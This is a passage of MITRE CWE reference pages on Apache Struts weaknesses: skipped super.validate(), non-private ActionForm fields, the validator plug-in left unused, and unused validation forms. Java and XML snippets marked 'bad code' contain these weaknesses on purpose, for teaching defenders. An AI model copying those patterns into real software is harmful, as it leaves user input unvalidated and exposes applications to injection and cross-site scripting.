+ Background Details
The Struts Validator uses a form's validate() method to check the contents of the form properties against the constraints specified in the associated validation form. That means the following classes have a validate() method that is part of the validation framework: ValidatorForm, ValidatorActionForm, DynaValidatorForm, and DynaValidatorActionForm. If the code creates a class that extends one of these classes, and if that class implements custom validation logic by overriding the validate() method, the code must call super.validate() in the validate() implementation.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Other

Disabling the validation framework for a form exposes the product to numerous types of attacks. Unchecked input is the root cause of vulnerabilities like cross-site scripting, process control, and SQL injection.
Confidentiality
Integrity
Availability
Other

Technical Impact: Other

Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.
+ Demonstrative Examples

Example 1

In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and the RegistrationForm bean in the Struts framework will maintain the user data. Tthe RegistrationForm class implements the validate method to validate the user input entered into the form.

(bad code)
Example Language: Java 
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
// private variables for registration form
private String name;
private String email;
...

public RegistrationForm() {
super();
}

public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {
ActionErrors errors = new ActionErrors();
if (getName() == null || getName().length() < 1) {
errors.add("name", new ActionMessage("error.name.required"));
}
return errors;
}

// getter and setter methods for private variables
...

}

Although the validate method is implemented in this example the method does not call the validate method of the ValidatorForm parent class with a call super.validate(). Without the call to the parent validator class only the custom validation will be performed and the default validation will not be performed. The following example shows that the validate method of the ValidatorForm class is called within the implementation of the validate method.

(good code)
Example Language: Java 
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
// private variables for registration form
private String name;
private String email;
...

public RegistrationForm() {
super();
}

public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {
ActionErrors errors = super.validate(mapping, request);
if (errors == null) {
errors = new ActionErrors();
}


if (getName() == null || getName().length() < 1) {
errors.add("name", new ActionMessage("error.name.required"));
}
return errors;
}
// getter and setter methods for private variables
...
}
+ Potential Mitigations

Phase: Implementation

Implement the validate() method and call super.validate() within that method.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.722OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This could introduce other weaknesses related to missing input validation.

Maintenance

The current description implies a loose composite of two separate weaknesses, so this node might need to be split or converted into a low-level category.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsStruts: Erroneous validate() Method
Software Fault PatternsSFP24Tainted input to command
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-14CWE Content TeamMITRE
updated Description, Maintenance_Notes
2008-11-24CWE Content TeamMITRE
updated Background_Details, Common_Consequences, Description, Other_Notes, Relationship_Notes
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-12-28CWE Content TeamMITRE
updated Common_Consequences, Other_Notes
2010-06-21CWE Content TeamMITRE
updated Demonstrative_Examples
2010-12-13CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Causal_Nature, Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2021-07-20CWE Content TeamMITRE
updated Background_Details, Description
2023-01-31CWE Content TeamMITRE
updated Common_Consequences, Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-608: Struts: Non-private Field in ActionForm Class

Weakness ID: 608
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
An ActionForm class contains a field that has not been declared private, which can be accessed without using a setter or getter.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality

Technical Impact: Modify Application Data; Read Application Data

+ Demonstrative Examples

Example 1

In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for a online business site. The user will enter registration data and through the Struts framework the RegistrationForm bean will maintain the user data.

(bad code)
Example Language: Java 
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
// variables for registration form
public String name;
public String email;
...

public RegistrationForm() {
super();
}
public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}
...
}

However, within the RegistrationForm the member variables for the registration form input data are declared public not private. All member variables within a Struts framework ActionForm class must be declared private to prevent the member variables from being modified without using the getter and setter methods. The following example shows the member variables being declared private and getter and setter methods declared for accessing the member variables.

(good code)
Example Language: Java 
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
// private variables for registration form
private String name;
private String email;
...

public RegistrationForm() {
super();
}

public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}


// getter and setter methods for private variables
...
}
+ Potential Mitigations

Phase: Implementation

Make all fields private. Use getter to get the value of the field. Setter should be used only by the framework; setting an action form field from other actions is bad practice and should be avoided.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1002SFP Secondary Cluster: Unexpected Entry Points
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP28Unexpected access points
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2007-05-07
(CWE Draft 6, 2007-05-07)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2010-06-21CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Causal_Nature, Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-106: Struts: Plug-in Framework not in Use

Weakness ID: 106
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
When an application does not use an input validation framework such as the Struts Validator, there is a greater risk of introducing weaknesses related to insufficient input validation.
+ Extended Description

Unchecked input is the leading cause of vulnerabilities in J2EE applications. Unchecked input leads to cross-site scripting, process control, and SQL injection vulnerabilities, among others.

Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1173Improper Use of Validation Framework
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Demonstrative Examples

Example 1

In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and, through the Struts framework, the RegistrationForm bean will maintain the user data.

(bad code)
Example Language: Java 
public class RegistrationForm extends org.apache.struts.action.ActionForm {

// private variables for registration form
private String name;
private String email;
...

public RegistrationForm() {
super();
}

// getter and setter methods for private variables
...
}

However, the RegistrationForm class extends the Struts ActionForm class which does use the Struts validator plug-in to provide validator capabilities. In the following example, the RegistrationForm Java class extends the ValidatorForm and Struts configuration XML file, struts-config.xml, instructs the application to use the Struts validator plug-in.

(good code)
Example Language: Java 
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {

// private variables for registration form
private String name;
private String email;
...

public RegistrationForm() {
super();
}

public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}

// getter and setter methods for private variables
...
}

The plug-in tag of the Struts configuration XML file includes the name of the validator plug-in to be used and includes a set-property tag to instruct the application to use the file, validator-rules.xml, for default validation rules and the file, validation.XML, for custom validation.

(good code)
Example Language: XML 
<struts-config>

<form-beans>
<form-bean name="RegistrationForm" type="RegistrationForm"/>
</form-beans>

...

<!-- ========================= Validator plugin ================================= -->
<plug-in className="org.apache.struts.validator.ValidatorPlugIn">
<set-property
property="pathnames"
value="/WEB-INF/validator-rules.xml,/WEB-INF/validation.xml"/>
</plug-in>

</struts-config>
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Input Validation

Use an input validation framework such as Struts.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use an input validation framework such as Struts.

Phase: Implementation

Strategy: Input Validation

Use the Struts Validator to validate all program input before it is processed by the application. Ensure that there are no holes in the configuration of the Struts Validator. Example uses of the validator include checking to ensure that:

  • Phone number fields contain only valid characters in phone numbers
  • Boolean values are only "T" or "F"
  • Free-form strings are of a reasonable length and composition

Phase: Implementation

Strategy: Libraries or Frameworks

Use the Struts Validator to validate all program input before it is processed by the application. Ensure that there are no holes in the configuration of the Struts Validator. Example uses of the validator include checking to ensure that:

  • Phone number fields contain only valid characters in phone numbers
  • Boolean values are only "T" or "F"
  • Free-form strings are of a reasonable length and composition
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.722OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1406Comprehensive Categorization: Improper Input Validation
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsStruts: Plug-in Framework Not In Use
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-03-10CWE Content TeamMITRE
updated Relationships
2010-06-21CWE Content TeamMITRE
updated Demonstrative_Examples
2011-03-29CWE Content TeamMITRE
updated Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2013-02-21CWE Content TeamMITRE
updated Potential_Mitigations
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-06-23CWE Content TeamMITRE
updated Description, Other_Notes, Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Causal_Nature, Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2021-07-20CWE Content TeamMITRE
updated Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-107: Struts: Unused Validation Form

Weakness ID: 107
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
An unused validation form indicates that validation logic is not up-to-date.
+ Extended Description
It is easy for developers to forget to update validation logic when they remove or rename action form mappings. One indication that validation logic is not being properly maintained is the presence of an unused validation form.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1164Irrelevant Code
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Quality Degradation

+ Demonstrative Examples

Example 1

In the following example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and, through the Struts framework, the RegistrationForm bean will maintain the user data in the form fields using the private member variables. The RegistrationForm class uses the Struts validation capability by extending the ValidatorForm class and including the validation for the form fields within the validator XML file, validator.xml.

(bad code)
Example Language: Java 
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {

// private variables for registration form
private String name;
private String address;
private String city;
private String state;
private String zipcode;
// no longer using the phone form field

// private String phone;
private String email;

public RegistrationForm() {
super();
}

// getter and setter methods for private variables
...
}
(bad code)
Example Language: XML 
<form-validation>
<formset>
<form name="RegistrationForm">
<field property="name" depends="required">
<arg position="0" key="prompt.name"/>
</field>
<field property="address" depends="required">
<arg position="0" key="prompt.address"/>
</field>
<field property="city" depends="required">
<arg position="0" key="prompt.city"/>
</field>
<field property="state" depends="required,mask">
<arg position="0" key="prompt.state"/>
<var>
<var-name>mask</var-name>
<var-value>[a-zA-Z]{2}</var-value>
</var>
</field>
<field property="zipcode" depends="required,mask">
<arg position="0" key="prompt.zipcode"/>
<var>
<var-name>mask</var-name>
<var-value>\d{5}</var-value>
</var>
</field>
<field property="phone" depends="required,mask">
<arg position="0" key="prompt.phone"/>
<var>
<var-name>mask</var-name>
<var-value>^([0-9]{3})(-)([0-9]{4}|[0-9]{4})$</var-value>
</var>
</field>
<field property="email" depends="required,email">
<arg position="0" key="prompt.email"/>
</field>
</form>
</formset>
</form-validation>

However, the validator XML file, validator.xml, for the RegistrationForm class includes the validation form for the user input form field "phone" that is no longer used by the input form and the RegistrationForm class. Any validation forms that are no longer required should be removed from the validator XML file, validator.xml.

The existence of unused forms may be an indication to attackers that this code is out of date or poorly maintained.

+ Potential Mitigations

Phase: Implementation

Remove the unused Validation Form from the validation.xml file.
+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsStruts: Unused Validation Form
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2010-06-21CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Causal_Nature, Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2022-04-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-108: Struts: Unvalidated Action Form

Weakness ID: 108
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Every Action Form must have a corresponding validation form.
+ Extended Description
If a Struts Action Form Mapping specifies a form, it must have a validation form defined under the Struts Validator.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1173Improper Use of Validation Framework
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
